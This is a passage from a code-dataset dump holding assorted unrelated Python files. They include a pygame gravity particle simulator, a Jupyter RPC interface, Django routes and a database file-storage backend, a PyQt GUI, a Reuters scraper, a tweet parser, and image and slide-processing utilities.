len(result.errors) + len(result.failures) == 0:\n sys.exit(0)\n else:\n sys.exit(1)\n","sub_path":"tests/all_tests.py","file_name":"all_tests.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"620833981","text":"\"\"\"\nPARTICLE PHYSICS ENGINE\n\nfile ID: engine.py\n\nPurpose: operate objects to run a simulation,\n displaying objects graphically(, and possibly interactively).\n\nContains in-file:\n ENGINE CODE:\n *Engine functions\n *Graphics interface\n *User interface, if any\n\nImports:\n *Engine object files, if any. I think use of the pos/vec dict\n means I don't have to make any new classes, for now.\n *any other library needed for engine functions\n\"\"\"\nfrom math import sqrt\n#need square roots.\nfrom random import randrange\n#some randomness.\n\nimport pygame\nfrom pygame.locals import *\n#imported core engine parts\n\nfrom vec2d import vec2d\n#need vectors.\n\nfrom particle import Particle\n#the stock with which I work.\n\n#Display functions:\ndef processDisplay():\n global screen\n global particles\n screen.fill((0,0,0))\n for particle in particles:\n pos = particle.pos\n color = particle.color\n pygame.draw.circle(screen, (color,color,color), (int(round(pos[0])),\n int(round(pos[1]))), 2)\n \n pygame.display.update()\n\n \n#Display data:\nscr_size = (500,500)\n\n############################\n\n#Engine functions:\ndef update():\n global paused\n \"\"\"A function that advances the simulation one frame.\"\"\"\n processEvents()\n if not paused:\n processParticles() \n processDisplay()\n\ndef processEvents():\n global scr_size\n global paused\n global particles\n global grav_constant\n for event in pygame.event.get():\n if event.type == QUIT or(event.type == KEYDOWN\n and event.key == K_ESCAPE):\n pygame.quit()\n quit()\n elif event.type == KEYDOWN and event.key == K_SPACE:\n paused = not paused\n elif event.type == MOUSEBUTTONDOWN and pygame.mouse.get_pressed()[0]:\n pos = pygame.mouse.get_pos()\n pos = vec2d(float(pos[0]), float(pos[1]))\n particles.append(Particle(pos))\n elif event.type == KEYDOWN and event.key == K_1:\n for particle in particles:\n diffx = (scr_size[0]/2)-particle.pos[0]\n if diffx == 0:\n diffx = 1\n diffy = (scr_size[1]/2)-particle.pos[1]\n if diffy == 0:\n diffy = 1\n particle.pos += vec2d(diffx/2, diffy/2)\n particle.direction = particle.direction/2\n particle.rect.size = (particle.rect.size[0]/2, particle.rect.size[1]/2)\n elif event.type == KEYDOWN and event.key == K_2:\n for particle in particles:\n diffx = (scr_size[0]/2)-particle.pos[0]\n if diffx == 0:\n diffx = 1\n diffy = (scr_size[1]/2)-particle.pos[1]\n if diffy == 0:\n diffy = 1\n particle.pos -= vec2d(diffx, diffy)\n particle.direction = particle.direction*2\n particle.rect.size = (particle.rect.size[0]*2, particle.rect.size[1]*2)\n elif event.type == KEYDOWN:\n if event.key == K_UP:\n for particle in particles:\n particle.pos = vec2d(particle.pos[0], particle.pos[1]+20)\n if event.key == K_DOWN:\n for particle in particles:\n particle.pos = vec2d(particle.pos[0], particle.pos[1]-20)\n if event.key == K_LEFT:\n for particle in particles:\n particle.pos = vec2d(particle.pos[0]+20, particle.pos[1])\n if event.key == K_RIGHT:\n for particle in particles:\n particle.pos = vec2d(particle.pos[0]-20, particle.pos[1])\n if event.key == K_q:\n grav_constant -= 0.000001\n if grav_constant < 0.000001:\n grav_constant = 0.000001\n if event.key == K_w:\n grav_constant += 0.000001\n\ndef processParticles():\n global particles\n global grav_constant\n for particle in particles:\n if particle.dead:\n particles.remove(particle)\n continue\n for other in particles:\n if other is particle:\n continue\n else:\n if particle.rect.collidepoint(other.pos):\n if particle.mass > other.mass:\n particle.mass += other.mass\n particle.color = (particle.mass/100.0)*255.0\n if particle.color > 255.0:\n particle.color = 255.0\n other.dead = True\n elif particle.mass == other.mass:\n particle.direction = particle.direction*(-1)\n other.direction = other.direction*2\n else:\n other.mass += particle.mass\n other.color = (other.mass/100.0)*255.0\n if other.color > 255.0:\n other.color = 255.0\n particle.dead = True\n break\n dx = other.pos[0]-particle.pos[0]\n## print dx\n dy = other.pos[1]-particle.pos[1]\n## print dy\n M = particle.mass\n## print M\n m = other.mass\n## print m\n grav_dir = vec2d(dx, dy).normalized()\n## print grav_dir\n D = sqrt((dx*dx)+(dy*dy))\n if D == 0:\n D = 0.001\n## print D\n F = grav_constant*M*m/D*D\n## print F\n particle.addVec(grav_dir*F)\n for particle in particles:\n particle.updatePos()\n\ndef populate(n):\n global bang_force\n #I support the big bang theory.\n particles = []\n for i in range(n):\n pos = vec2d((randrange(0,501)*1.00),(randrange(0,501)*1.00))\n dir_to_center = vec2d((pos.x-250), (pos.y-250)).normalized()\n bang_dir = dir_to_center * bang_force\n particle = Particle(pos)\n particle.addVec(bang_dir)\n particles.append(particle)\n particle = None\n return particles\n \n\n#Engine data:\ninit_pop = 100\npaused = True\nbang_force = 0.5\nparticles = populate(init_pop)\ngrav_constant = 0.000001\n\n#############################\npygame.init()\n\nscreen = pygame.display.set_mode(scr_size, DOUBLEBUF)\nscreen.fill((0,0,0))\n\nclock = pygame.time.Clock()\n\nwhile True:\n time_passed = clock.tick()\n update()\n\n\n","sub_path":"engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":6563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"5220941","text":"# FIXME: check the rpc-interface.js version and warn if incompatible\n\n# support python 2.7+ and 3\nfrom __future__ import unicode_literals\nfrom IPython.display import display, Javascript, clear_output\nfrom json import dumps as json_encode, loads as json_decode\n# the base64 library produces clean output without newlines\nfrom base64 import b64encode,b64decode\nimport gzip\nimport ipywidgets as widgets\ntry:\n from urlparse import urljoin # Python2\nexcept ImportError:\n from urllib.parse import urljoin\nimport sys,traceback\nimport numpy\nimport uuid\n\ndef JS(s): \n out = widgets.Output()\n with out:\n display(Javascript(s),transient=True)\n out.clear_output()\n\nclass RpcInterface:\n def __init__(self,instanceName,baseUrl,appUrl,jsModuleUrl,jsModuleClass):\n self.instanceName = instanceName\n self.partialResponses = {}\n self.fetchInterface = 'window.global_rpcInterfaces[\"{}\"]'.format(instanceName)\n if baseUrl[:-1] != '/': baseUrl = baseUrl + '/'\n appUrl = urljoin(baseUrl,appUrl)\n jsModuleUrl = urljoin(baseUrl,jsModuleUrl)\n \n # In Javascript, load scriptUrl and create a new Interface object\n JS(\"\"\"\nif (!window.global_rpcInterfaces) window.global_rpcInterfaces = {{}};\n{} = new Promise( (resolve,reject) => {{\n import('{}')\n .then( (mod) => {{\n const rpc = new mod.{}('{}');\n rpc.jupyterResponseHandler = (packedResponse,callback) => {{ \n if (callback) {{\n const kernel = IPython.notebook.kernel;\n const pyCommand = 'response = {}.unpackResponse(r\\\\''+packedResponse+'\\\\')\\\\nif \"result\" in response:\\\\n '+callback+'(response)\\\\nelif \"method\" in response:\\\\n {}.send(response,r\\\\''+callback+'\\\\')';\nconsole.log(pyCommand);\n kernel.execute(pyCommand);\n }}\n }}\n resolve(rpc);\n }});\n}} );\n \"\"\".format(self.fetchInterface,jsModuleUrl,jsModuleClass,appUrl,instanceName,instanceName))\n \n @staticmethod\n def encodeRequest(command):\n def base64gzip(obj):\n numAffected = 0\n keys = obj.keys() if isinstance(obj, dict) else range(len(obj))\n for k in keys:\n v = obj[k]\n tp = type(v);\n data = None;\n instanceOf = None\n if tp is str and (len(v)>256 or v.find(\"'\")>-1):\n data = v.encode('utf-8')\n instanceOf = 'String'\n elif tp is bytes:\n data = v;\n instanceOf = 'ArrayBuffer';\n elif tp is numpy.array and v.dtype.kind in ['i','u','f']:\n # FIXME: support for typed arrays is incomplete\n data = v.tobytes()\n instanceOf = '{}{}Array'.format({'i':'Int','u':'Uint','f':'Float'}[v.dtype.kind],8*v.dtype.itemsize)\n if (data):\n obj[k] = {\n \"@type\": \"Base64GzippedBytes\",\n \"instanceOf\": instanceOf,\n \"bytes\": b64encode(gzip.compress(data)).decode('utf-8')\n }\n numAffected += 1;\n elif tp in (dict,list,tuple):\n numAffected += base64gzip(v)\n return numAffected;\n \n # encode binary contents inside command\n numAffected = base64gzip(command)\n if numAffected:\n context = command['@context'] if '@context' in command else {}\n context['Base64GzippedBytes'] = ''\n command['@context'] = context\n return command\n \n @staticmethod\n def decodeResponse(response):\n def ungzipbase64(obj):\n keys = obj.keys() if isinstance(obj, dict) else range(len(obj))\n for k in keys:\n v = obj[k]\n tp = type(v); \n if tp is dict and '@type' in v and v['@type'] == 'Base64GzippedBytes':\n data = gzip.decompress(b64decode(v['bytes']))\n if v['instanceOf'] == 'String':\n data = data.decode(\"utf-8\")\n obj[k] = data\n elif tp in (dict,list,tuple):\n ungzipbase64(v);\n \n try:\n context = response['@context'] if '@context' in response else {}\n if 'Base64GzippedBytes' in context: \n ungzipbase64(response)\n context.pop('Base64GzippedBytes')\n except:\n exc_type, exc_value, exc_traceback = sys.exc_info() \n tb = traceback.format_exception(exc_type, exc_value, exc_traceback)\n msg = tb.pop()\n try: id = result['id']\n except: id = 0\n return {\n \"id\":id, \n \"error\":{\"message\":\"Error in decodeResponse: {}\".format(msg)},\n \"data\":{\"trace\":tb}\n }\n return response\n \n def unpackResponse(self,response):\n response = json_decode(response);\n rpc = response['rpc'] if 'rpc' in response else {};\n if 'partsRemaining' in rpc:\n rpcId = response['id']\n if 'firstPart' in rpc:\n self.partialResponses[rpcId] = [ response['result'] ]\n else:\n self.partialResponses[rpcId].append( response['result'] )\n if rpc['partsRemaining'] > 0:\n return { \"method\": \"rpc.nextPart\", \"params\":{ \"rpcId\": rpcId } }\n else:\n # Complete!\n parts = self.partialResponses.pop(rpcId)\n response = json_decode(\"\".join(parts))\n return self.decodeResponse(response)\n\n def awaitUnpackResponse(self,response):\n def validateInput(response):\n try:\n response = json_decode(response)\n assert type(response) is dict\n except:\n #raise RuntimeError(\"Request cancelled or invalid response.\")\n raise RuntimeError(response)\n return response\n \n response = validateInput(response);\n rpcId = response['id']\n rpc = response['rpc'] if 'rpc' in response else {};\n if 'firstPart' in rpc:\n command = { \"method\": \"rpc.nextPart\", \"params\":{ \"rpcId\": rpcId } }\n parts = [response['result']]\n while rpc['partsRemaining']>0:\n self.send(command,None,True)\n partialResponse = validateInput( input('Got partial response, awaiting more... (Press to cancel)') )\n parts.append( partialResponse['result'] )\n rpc = partialResponse['rpc']\n response = json_decode(\"\".join(parts))\n return self.decodeResponse(response)\n\n\n def send(self,command,callback=None,awaitInput=False):\n \"\"\"Sends a command to the Morphology Viewer.\n Parameters:\n command: Command in json-rpc2 format, with a method, params and id.\n callback: Name of the python function that processes the response, accessible in the caller's context. Note: the json module must be available on the system.\n \"\"\"\n if not 'id' in command: command['id'] = uuid.uuid4().hex\n command = self.encodeRequest(command)\n if awaitInput:\n JS(\"\"\"{}.then( (rpc) => {{ rpc.send({}).then( async (response) => {{ response = await rpc.packResponse(response); const kernel = IPython.notebook.kernel; kernel.send_input_reply(response) }} ); }} );\"\"\".format(self.fetchInterface,json_encode(command)))\n else:\n if callback and hasattr(callback,'__name__'): callback = callback.__name__\n JS(\"\"\"{}.then( (rpc) => {{ rpc.send({}).then( async (response) => {{ response = await rpc.packResponse(response); rpc.jupyterResponseHandler(response,{}) }} ); }} );\"\"\".format(self.fetchInterface,json_encode(command),json_encode(callback)))\n return command['id']\n \n def awaitResponse(self,command):\n try:\n self.send(command,None,True)\n response = input('Awaiting response... (Press to cancel)')\n response = self.awaitUnpackResponse(response)\n except:\n exc_type, exc_value, exc_traceback = sys.exc_info() \n tb = traceback.format_exception(exc_type, exc_value, exc_traceback)\n msg = tb.pop()\n try: id = result['id']\n except: id = 0\n return {\n \"id\":id, \n \"error\":{\"message\":\"Error in decodeResponse: {}\".format(msg),\"data\":{\"trace\":tb}}\n }\n return response;\n\n\nclass MoviInterface(RpcInterface):\n def __init__(self,instanceName,baseUrl='https://neuroinformatics.nl/HBP/morphology-viewer',appUrl='./',jsModuleUrl='./js/movi-interface.js'):\n RpcInterface.__init__(self,instanceName,baseUrl,appUrl,jsModuleUrl,jsModuleClass='moviInterface_class')\n","sub_path":"docs/movi_interface.py","file_name":"movi_interface.py","file_ext":"py","file_size_in_byte":7877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"233817998","text":"from django.urls import path\nfrom . import twuser_views, twtweet_views\nurlpatterns = [\n path('', twuser_views.main, name='main'),\n # twUser\n path('join/', twuser_views.join, name='join'),\n path('login/', twuser_views.user_login, name='login'),\n path('activate///', twuser_views.activate, name='activate'),\n path('logout/', twuser_views.logout, name='logout'),\n path('profile/', twuser_views.profile, name='profile'),\n path('setting/profile', twuser_views.edit_profile, name='edit_profile'),\n\n # twTweet\n path('home/', twtweet_views.get_list, name='home'),\n path('tweet/', twtweet_views.tweet, name='tweet'),\n path('update//', twtweet_views.update, name='update'),\n path('delete//', twtweet_views.delete, name='delete'),\n\n\n\n\n]\n\napp_name = 'twc'\n\n","sub_path":"twitterCloneApp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"149692297","text":"import sys\nsys.path.append('..')\n\nfrom PyQt5.QtWidgets import QVBoxLayout, QHBoxLayout, QLabel, QMainWindow, \\\n QApplication, QWidget, QSplitter, QPushButton\nfrom PyQt5.QtGui import QColor\nfrom PyQt5 import Qt\nimport sip\n\nfrom quantlab.login_dialog import LoginDialog\nfrom quantlab.home import Home\nfrom quantlab.deal import Deal\nfrom quantlab.navigation import Navigation\nfrom quantlab.controller import Controller\nfrom quantlab.model import User\n\n\nclass QLMainWindow(QWidget):\n def __init__(self, user=None):\n super().__init__()\n self.login()\n # self.user = user\n\n # Controller.user = user\n print(id(Controller))\n self.navigation = Navigation()\n self.home = None\n self.deal = None\n\n self.setWindowTitle('QuantLab')\n\n self.set_connection()\n self.set_name()\n self.setui()\n self.return_home()\n\n def login(self):\n loginDialog = LoginDialog()\n if loginDialog.exec_():\n Controller.user = loginDialog.user\n pass\n else:\n self.close()\n\n def set_name(self):\n self.navigation.setObjectName('navigation')\n\n def setui(self):\n self.layout = QVBoxLayout(self)\n\n self.layout.addWidget(self.navigation)\n self.layout.addStretch(1)\n\n def set_connection(self):\n self.navigation.home.clicked.connect(self.return_home)\n self.navigation.deal.clicked.connect(self.to_deal)\n\n def return_home(self):\n widget = self.layout.itemAt(1).widget()\n \n if widget == self.home and self.home:\n return\n elif self.home:\n print('home deleted')\n self.layout.removeWidget(widget)\n sip.delete(widget)\n \n self.home = Home(Controller)\n self.layout.insertWidget(1, self.home)\n Controller.ui = self.home\n Controller.load_user_home()\n\n def to_deal(self):\n widget = self.layout.itemAt(1).widget()\n if widget == self.deal and self.deal:\n print('return ')\n return\n print(widget)\n self.layout.removeWidget(widget)\n sip.delete(widget)\n\n self.deal = Deal(Controller)\n self.layout.insertWidget(1, self.deal)\n Controller.ui = self.deal\n Controller.load_user_port()\n print('load_user_port')\n\n\nif __name__ == '__main__': \n qApp = QApplication(sys.argv)\n \n user = User()\n # print('user')\n stat, msg = user.sign_up('shi', '123456')\n # print('sign up', msg)\n if not stat and msg == \"username used\":\n stat, msg = user.login('shi', '123456')\n # print('login', msg)\n # for k, v in user.favorates.items():\n # print(k, v.to_dict())\n # from request import RequestAgent\n # print(RequestAgent.price('600105.XSHG').head())\n # print(RequestAgent.get_port_hist(user, 1).head())\n\n # raise\n with open('./theme/default.qss') as f:\n print('set style')\n qApp.setStyleSheet(f.read())\n\n q = QLMainWindow(user)\n q.move(QApplication.primaryScreen().geometry().center() - q.rect().center())\n q.show()\n sys.exit(qApp.exec_())\n\n","sub_path":"quantlab/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"479812540","text":"\n# backtrack path! - 23 mins (inspired by tim talk in budapest 2 years ago)\n# In [34]: %time %run p18.py\n# CPU times: user 2 ms, sys: 906 micros, total: 2.9 ms\n# Wall time: 2.13 ms\n\n\nwith open('p67_big.txt','r') as f:\n\tlines = map(str.strip, f.readlines())\n\ttree = [map(int, line.split(' ')) for line in lines]\n\nn = len(tree)\n\nfor i in xrange(n-2,-1,-1): # start from n-1,n-2,...0\n\tfor j in xrange(i+1):\n\t\tsubpath = max(tree[i+1][j:j+2])\n\t\ttree[i][j] += subpath\n\n\n","sub_path":"euler/cleaned_solutions/p18.py","file_name":"p18.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"363234062","text":"import os\n\npath = \"C:\\\\Users\\\\Michael\\\\Documents\\\\GitHub\\\\panoramas\\\\fanagoriyskaya-cave\\\\\"\nmainfilename = \"fanagor-cave.xml\"\n\nl = []\n\nfor file in os.listdir(path):\n if \"xml\" in file:\n l.append(file)\n\nmainfile = open(path + mainfilename, \"r\", encoding='utf-8')\nmainlines = mainfile.readlines()\n\ntable = {}\nwith open(path + \"keys.txt\") as f:\n for line in f:\n k, v = line.split()\n table[k] = v\n\nfor key in table:\n file = open(path + key + \".xml\", \"w\", encoding='utf-8')\n for line in mainlines:\n if \"tour start\" in line:\n line = \"\\n\" % table[key]\n file.write(line)\n file.close()\n\n\n# generate html files:\nmainfilename = \"fanagor-cave.html\"\nmainfile = open(path + mainfilename, \"r\", encoding='utf-8')\nmainlines = mainfile.readlines()\nmainfile.close()\n\nfor key in table:\n file = open(path + key + \".html\", \"w\", encoding='utf-8')\n for line in mainlines:\n if \"pano.readConfigUrl\" in line:\n line = \"\\t\\t\\tpano.readConfigUrl(\\\"%s.xml\\\");\\n\" % key\n file.write(line)\n file.close()","sub_path":"fanagoriyskaya-cave/update_xml_tour.py","file_name":"update_xml_tour.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"643366455","text":"__version__ = 0.3\n__author__ = \"Brandon Hiles\"\n\nimport bs4\nimport re\nimport requests\n\nfrom src.api.db.mongo import Mongo\nfrom src.api.data_mining.parser import SiteMapParser\n\nclass Reuters(SiteMapParser):\n\n \"\"\"\n Reuters is an interface for parsing data from reuters.com\n\n Initialization Parameters:\n 1. Host: Default parm: localhost\n 2. Port: Used to specify the port instance of the db\n Default Parm: 27017\n \"\"\"\n\n def __init__(self, host, port):\n self.host = host\n self.port = port\n self.database = \"news\"\n self.mongo = Mongo(host=self.host, port=self.port, database=self.database)\n super().__init__(website='https://www.reuters.com', host=self.host, port=self.port, collection=\"reuters\")\n\n def _extract_text(self, website):\n # Extracts article from html page\n\n element = super().grab_elements(website)\n text = element[0].find_all(\"p\")\n text = [''.join(text[num].text) for num, val in enumerate(text)]\n text = \"\".join(text)\n return text\n\n def _extract_title(self, website):\n # Extracts the title from the html page\n\n element = super().grab_elements(website)\n title = element[0].find(\"title\").text\n\n # Clean up text section\n title = re.sub(' +', ' ', title)\n title = title.split(\"|\")[0] # Since title contains | Reuters, we split it.\n title = title.replace(\"\\n\", \"\")\n return title\n\n def _extract_tags(self, website):\n # Extracts tags via the section\n\n element = super().grab_elements(website)\n tag = element[0].find(\"meta\", property=\"og:article:tag\")\n if type(tag) is bs4.element.Tag:\n return tag['content']\n if type(tag) is None:\n return \"\"\n\n def _extract_authors(self, website):\n # Extracts authors of the text via section\n\n element = super().grab_elements(website)\n author = element[0].find(\"meta\", property=\"og:article:author\")\n if type(author) is bs4.element.Tag:\n return author['content']\n if type(author) is None:\n return \"\"\n\n def store_websites(self, upper_bound):\n\n db = self.mongo.select_database(self.database)\n reuters = db['reuters']\n\n urls = super().get_websites()\n\n for index in range(0, upper_bound+1):\n website = requests.get(urls[index]).content.decode('utf-8')\n query = {\n \"title\" : self._extract_title(website),\n \"article\" : self._extract_text(website),\n \"authors\" : self._extract_authors(website),\n \"url\" : urls[index],\n \"tags\" : self._extract_tags(website)\n }\n check_query = {\"url\" : urls[index]}\n check = self.mongo.check_collection(collection='reuters',query=check_query)\n if check == False: # Checks that doesn't already exist in db\n reuters.insert_one(query).inserted_id\n print(\"Inserted new article into database\")\n\n\n def url_type(self, url):\n # There are 2 types of urls presented in sitemap data:\n # 1. Articles\n # 2. Videos\n # This method is used for sorting in database for CV vs. NLP\n # distinstion\n\n if url.split('/')[3] == 'article':\n return 'article'\n elif url.split('/')[3] == 'videos':\n return 'videos'\n","sub_path":"src/api/data_mining/reuters.py","file_name":"reuters.py","file_ext":"py","file_size_in_byte":3423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"93396514","text":"from cassandra.cluster import Cluster\n\nimport logging\nimport argparse\n\nfrom ttp import ttp\n\nlogging.basicConfig()\nlogger = logging.getLogger('data-processor')\nlogger.setLevel(logging.DEBUG)\n\nkey_space = 'tweet'\ndata_table = 'tweet'\n# - default cassandra nodes to connect\ncontact_points = '127.0.0.1'\n\ndef list_to_str(input_list):\n result = ''\n is_first = True\n for item in input_list:\n if not is_first:\n result += ','\n result += item\n is_first = False\n return result\n\nif __name__ == '__main__':\n # - setup command line arguments\n parser = argparse.ArgumentParser()\n parser.add_argument('key_space', help='the keyspace to use in cassandra')\n parser.add_argument('data_table', help='the data table to use')\n parser.add_argument('contact_points', help='the contact points for cassandra')\n\n # - parse arguments\n args = parser.parse_args()\n key_space = args.key_space\n data_table = args.data_table\n contact_points = args.contact_points\n\n # - initiate a cassandra session\n cassandra_cluster = Cluster(\n contact_points=contact_points.split(',')\n )\n session = cassandra_cluster.connect()\n\n query_result = session.execute(\"SELECT * FROM %s.%s\" % (key_space, data_table))\n parser = ttp.Parser()\n \n for item in query_result:\n tweet = item.tweet_text\n logger.info('original tweet text: %s\\n' % tweet)\n if tweet is None:\n continue\n parsed_entities = parser.parse(tweet)\n hashtags = parsed_entities.tags\n tags = list_to_str(hashtags)\n logger.info('hashtags: %s', tags)\n\n user_mentions = parsed_entities.users\n mentions = list_to_str(user_mentions)\n logger.info('mentions: %s', mentions)\n\n","sub_path":"data-processor.py","file_name":"data-processor.py","file_ext":"py","file_size_in_byte":1760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"390722962","text":"from pynwb import TimeSeries\n\nfrom nsds_lab_to_nwb.components.htk.htk_reader import HtkReader\n\n\nclass MarkManager():\n def __init__(self, mark_path):\n self.mark_path = mark_path\n\n\n def get_mark_track(self, name='recorded_mark'):\n # Read the mark track\n mark_track, rate = HtkReader.read_htk(self.mark_path)\n\n # Create the mark timeseries\n mark_time_series = TimeSeries(name=name,\n data=mark_track,\n unit='Volts',\n starting_time=0.0,\n rate=rate,\n description='The neural recording aligned stimulus mark track.')\n return mark_time_series\n","sub_path":"nsds_lab_to_nwb/components/stimulus/mark_manager.py","file_name":"mark_manager.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"148360616","text":"import cv2 as cv\n\nimg = cv.imread(\"photos/messi.jpg\")\n\nmessi = img.copy()\n\nGaussPyr = [messi]\n# cv.imshow(\"Original Image\",messi)\n\nfor i in range(6):\n messi = cv.pyrDown(messi)\n GaussPyr.append(messi)\n # cv.imshow(str(i),messi)\n\nmessi = [GaussPyr[5]]\nLapPyr = [messi]\n\nfor i in range(5,0,-1):\n Gauss_extended = cv.pyrUp(GaussPyr[i])\n subtracts = cv.subtract(GaussPyr[i-1],Gauss_extended)\n LapPyr.append(subtracts)\n cv.imshow(str(i),subtracts)\n\n\n\ncv.waitKey(0)\ncv.destroyAllWindows()\n\n\n","sub_path":"Practice_in_steps/pyramid.py","file_name":"pyramid.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"289632552","text":"from django.db import models\nfrom datetime import datetime\n\nfrom django.core.files.storage import Storage\nfrom django.core.exceptions import ImproperlyConfigured, ObjectDoesNotExist\nfrom django.db import connection, transaction\nfrom django.core.files import File\n\nimport base64\nimport StringIO\nimport urlparse\n\n# Kadangi framework'as nepalaiko blob field sukuriam custom FileStorage\n# kad butu galima failus det i duombaze.\nclass DatabaseStorage(Storage):\n u\"\"\"\n Let you save files to database\n \"\"\"\n def __init__(self, options):\n required_keys = [\n 'table',\n 'base_url',\n ]\n allowed_keys = [\n 'name_column',\n 'data_column',\n 'size_column',\n ]\n for key in required_keys:\n if key not in options:\n raise ImproperlyConfigured(\n 'DatabaseStorage missing required option: ' + key)\n for key in options:\n if key not in required_keys and key not in allowed_keys:\n raise ImproperlyConfigured(\n 'Unrecognized DatabaseStorage option: ' + key)\n\n self.table = options['table']\n self.base_url = options['base_url']\n self.name_column = options.get('name_column', 'filename')\n self.data_column = options.get('data_column', 'data')\n self.size_column = options.get('size_column', 'size')\n def _open(self, name, mode='rb'):\n assert mode == 'rb', \"DatabaseStorage open mode must be 'rb'.\"\n query = 'SELECT %(data_column)s FROM %(table)s ' + \\\n 'WHERE %(name_column)s = %%s'\n \n query %= self.__dict__\n cursor = connection.cursor()\n cursor.execute(query, [name])\n row = cursor.fetchone()\n if row is None:\n return None\n inMemFile = StringIO.StringIO(base64.b64decode(row[0]))\n inMemFile.name = name\n inMemFile.mode = mode\n \n return File(inMemFile)\n def _save(self, name, content):\n name = name.replace('\\\\', '/')\n binary = content.read()\n \n size = len(binary)\n encoded = base64.b64encode(binary)\n cursor = connection.cursor()\n \n if self.exists(name):\n query = 'UPDATE %(table)s SET %(data_column)s = %%s, ' + \\\n '%(size_column)s = %%s WHERE %(name_column)s = %%s'\n query %= self.__dict__\n cursor.execute(query, [encoded, size, name])\n else:\n query = 'INSERT INTO %(table)s (%(name_column)s, ' + \\\n '%(data_column)s, %(size_column)s) VALUES (%%s, %%s, %%s)'\n query %= self.__dict__\n cursor.execute(query, (name, encoded, size))\n transaction.commit_unless_managed(using='default')\n return name\n \n def exists(self, name):\n query = 'SELECT COUNT(*) FROM %(table)s WHERE %(name_column)s = %%s'\n query %= self.__dict__\n cursor = connection.cursor()\n cursor.execute(query, [name])\n row = cursor.fetchone()\n return int(row[0]) > 0\n \n def delete(self, name):\n if self.exists(name):\n query = 'DELETE FROM %(table)s WHERE %(name_column)s = %%s'\n query %= self.__dict__\n connection.cursor().execute(query, [name])\n transaction.commit_unless_managed(using='default')\n \n def path(self, name):\n raise NotImplementedError('DatabaseStorage does not support path().')\n \n def url(self, name):\n if self.base_url is None:\n raise ValueError(\"This file is not accessible via a URL.\")\n result = urlparse.urljoin(self.base_url, name).replace('\\\\', '/')\n return result\n \n def size(self, name):\n query = 'SELECT %(size_column)s FROM %(table)s ' + \\\n 'WHERE %(name_column)s = %%s'\n query %= self.__dict__\n cursor = connection.cursor()\n cursor.execute(query, [name])\n row = cursor.fetchone()\n if not row:\n raise ObjectDoesNotExist(\n \"DatabaseStorage file not found: %s\" % name)\n return int(row[0])\n\ndef get_upload_to_func(type):\n u\"\"\"\n Returns get_upload_to function for given type to be used with ImageField\n \"\"\"\n\n def get_upload_to(instance, filename):\n prefix = datetime.now().strftime('%Y%m%d')\n return 'uploads/%s/%s-%s' % (type, prefix, filename)\n\n return get_upload_to","sub_path":"utils/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"208031588","text":"#-------------------------------------------------------------\n#\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n#\n#-------------------------------------------------------------\n\n\"\"\"\nPreprocessing -- Predicting Breast Cancer Proliferation Scores with\nApache SystemML\n\nThis module contains functions for the preprocessing phase of the\nbreast cancer project.\n\"\"\"\n\nimport math\nimport os\n\nimport numpy as np\nimport openslide\nfrom openslide.deepzoom import DeepZoomGenerator\nimport pandas as pd\nfrom pyspark.ml.linalg import Vectors\nimport pyspark.sql.functions as F\nfrom scipy.ndimage.morphology import binary_fill_holes\nfrom skimage.color import rgb2gray\nfrom skimage.feature import canny\nfrom skimage.morphology import binary_closing, binary_dilation, disk\n\n\n# Open Whole-Slide Image\n\ndef open_slide(slide_num, folder, training):\n \"\"\"\n Open a whole-slide image, given an image number.\n \n Args:\n slide_num: Slide image number as an integer.\n folder: Directory in which the slides folder is stored, as a string.\n This should contain either a `training_image_data` folder with\n images in the format `TUPAC-TR-###.svs`, or a `testing_image_data`\n folder with images in the format `TUPAC-TE-###.svs`.\n training: Boolean for training or testing datasets.\n \n Returns:\n An OpenSlide object representing a whole-slide image.\n \"\"\"\n if training:\n filename = os.path.join(folder, \"training_image_data\",\n \"TUPAC-TR-{}.svs\".format(str(slide_num).zfill(3)))\n else:\n # Testing images\n filename = os.path.join(folder, \"testing_image_data\",\n \"TUPAC-TE-{}.svs\".format(str(slide_num).zfill(3)))\n slide = openslide.open_slide(filename)\n return slide\n\n\n# Create Tile Generator\n\ndef create_tile_generator(slide, tile_size, overlap):\n \"\"\"\n Create a tile generator for the given slide.\n \n This generator is able to extract tiles from the overall\n whole-slide image.\n \n Args:\n slide: An OpenSlide object representing a whole-slide image.\n tile_size: The width and height of a square tile to be generated.\n overlap: Number of pixels by which to overlap the tiles.\n \n Returns:\n A DeepZoomGenerator object representing the tile generator. Each\n extracted tile is a PIL Image with 